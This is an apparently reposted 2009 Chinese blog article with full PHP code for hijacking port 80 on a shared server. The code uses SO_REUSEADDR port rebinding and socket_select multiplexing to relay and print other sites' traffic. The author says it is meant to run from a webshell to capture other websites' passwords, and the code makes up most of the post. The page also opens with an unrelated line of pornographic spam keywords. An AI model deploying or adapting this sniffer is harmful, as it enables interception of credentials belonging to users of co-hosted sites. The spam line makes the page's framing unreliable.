欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用php來(lái)嗅探劫持服務(wù)器數(shù)據(jù)

  發(fā)布時(shí)間:2009-08-28 00:16:08   作者:佚名   我要評(píng)論
前幾天刺在我們的maillist發(fā)了一個(gè)老外寫的文章,大意是可以用php來(lái)實(shí)現(xiàn)數(shù)據(jù)的劫持和轉(zhuǎn)發(fā)。我瞄了一下,確實(shí)可行,于是今天抽出了以前用來(lái)扯淡的時(shí)間,寫了段代碼驗(yàn)證了一下想法。老外的原文是一個(gè)PDF,有興趣看 ...

前幾天刺在我們的maillist發(fā)了一個(gè)老外寫的文章,大意是可以用php來(lái)實(shí)現(xiàn)數(shù)據(jù)的劫持和轉(zhuǎn)發(fā)。我瞄了一下,確實(shí)可行,于是今天抽出了以前用來(lái)扯淡的時(shí)間,寫了段代碼驗(yàn)證了一下想法。老外的原文是一個(gè)PDF,有興趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其實(shí)關(guān)于這個(gè)的原理,我記得很早很早之前flashsky就在xfocus上面貼過(guò)通過(guò)SO_REUSEADDR實(shí)現(xiàn)端口重復(fù)綁定的,mix還寫過(guò)一個(gè) guest權(quán)限嗅探密碼的。我這里比較不同的是用php實(shí)現(xiàn)的,可以在webshell里面用,當(dāng)然我沒(méi)有測(cè)試過(guò),我沒(méi)shell。

需要注意的是,這個(gè)東西和以前的《PHP下實(shí)現(xiàn)端口復(fù)用/劫持》是完全不一樣的,那個(gè)文章可以在這里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于為什么不一樣,我就不說(shuō)了。

代碼我注釋得很詳細(xì),個(gè)人覺(jué)得寫得還不錯(cuò),不細(xì)說(shuō)。這里大概說(shuō)一下技術(shù)上的難點(diǎn)。首先是在web里面,沒(méi)有多線程也沒(méi)有多進(jìn)程,但是每一個(gè)新連接進(jìn)來(lái)就要去處理,應(yīng)該怎么做?顯然不能順序執(zhí)行,因?yàn)楣鈇ccept那里就會(huì)被阻塞住的,而且后面每一個(gè)session也需要分別處理的。還好查手冊(cè)發(fā)現(xiàn)經(jīng)典的socket_select函數(shù)可用,有這個(gè)就好說(shuō)了,專業(yè)實(shí)現(xiàn)多路復(fù)用的。

PHP代碼如下,有詳細(xì)注釋。blog貼的,所以代碼可能會(huì)掉些東西,其他的支持我就不提供了,看代碼:
<?php
class select
{
var $sockets;

// 構(gòu)造函數(shù)
function select($sockets)
{
$this->sockets = array();

foreach($sockets as $socket)
{
$this->add($socket);
}
}

function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}

// 利用臨時(shí)數(shù)組來(lái)刪除數(shù)組中的元素
function remove($remove_socket)
{
$tmp_sockets = array();

foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}

$this->sockets = $tmp_sockets;
}

// 檢查socket數(shù)組是否可讀,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read, $write = NULL, $except = NULL, $timeout );
return $read;
}

// 檢查socket數(shù)組是否可寫,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_write($timeout)
{
$write = $this->sockets;
socket_select( $read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}

// 網(wǎng)頁(yè)不超時(shí)
set_time_limit(0);

// 即時(shí)輸出數(shù)據(jù),不緩沖
ob_end_clean();
ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}

$listen_ip = $_GET["listen_ip"];
$listen_port = 80;

// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 設(shè)置重復(fù)綁定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明確指定綁定IP地址,優(yōu)先獲取數(shù)據(jù)
socket_bind($listen_sock, $listen_ip, $listen_port);

// 開(kāi)始監(jiān)聽(tīng)
socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";

// 創(chuàng)建socket數(shù)組,使用select來(lái)輪詢
$check_socks = array($listen_sock);

// 映射客戶端socket和服務(wù)端socket
// $socket_maps1將客戶端socket作為key
// $socket_maps2將服務(wù)端socket作為key
// 以內(nèi)存換速度,并且方便下面的搜索
$socket_maps1 = array( );
$socket_maps2 = array( );

// 實(shí)例化select類
$select = new select( $check_socks );

while(true)
{
/*
print_r( $socket_maps );
print "<br />";
*/
// select輪詢,超時(shí)2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可讀,說(shuō)明有人連接上來(lái)了
if( $socket == $listen_sock )
{
// 接受新連接,并加入到輪訓(xùn)數(shù)組
$new_client = socket_accept($listen_sock);
$select->add($new_client);

socket_getpeername($new_client, $ip, $port);
echo "New client connected: $ip, $port<br />";

// 建立到真實(shí)服務(wù)器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($server_sock,"127.0.0.1", $listen_port);

// 建立真實(shí)服務(wù)器socket和真實(shí)客戶端socket之間的映射關(guān)系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;

// 添加到select輪詢中
$select->add($server_sock);

// $listen_sock的可讀數(shù)據(jù)是因?yàn)橛行逻B接,已經(jīng)處理了。暫時(shí)去掉,因?yàn)橄旅骈_(kāi)始處理數(shù)據(jù)轉(zhuǎn)發(fā)
//select->remove( $listen_sock );
}

// 其他socket可讀,表示有數(shù)據(jù)需要中轉(zhuǎn)
else
{
// 讀取數(shù)據(jù),失敗則從輪詢socket中刪除,并關(guān)閉socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close( $socket );
$select->remove( $socket );
echo "client disconnected.<br />";

continue;
}

// 如果socket在$socket_maps1的key中,說(shuō)明是從客戶端讀到了數(shù)據(jù)
if( in_array( $socket, array_keys($socket_maps1)) )
{
//echo "readed from client.<br />";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
// 否則如果socket在$socket_maps2的key中,說(shuō)明是從真正的web服務(wù)器讀到了數(shù)據(jù)
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.<br />";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
}
}
}

?>
這個(gè)東西有什么作用?自由發(fā)揮。也許你有一個(gè)webshell,但是卻想知道同一個(gè)服務(wù)器上面別人網(wǎng)站的密碼……我是在windows xp+apache測(cè)試的,據(jù)我所知windows2003默認(rèn)已經(jīng)不準(zhǔn)重復(fù)綁定端口了。

相關(guān)文章

最新評(píng)論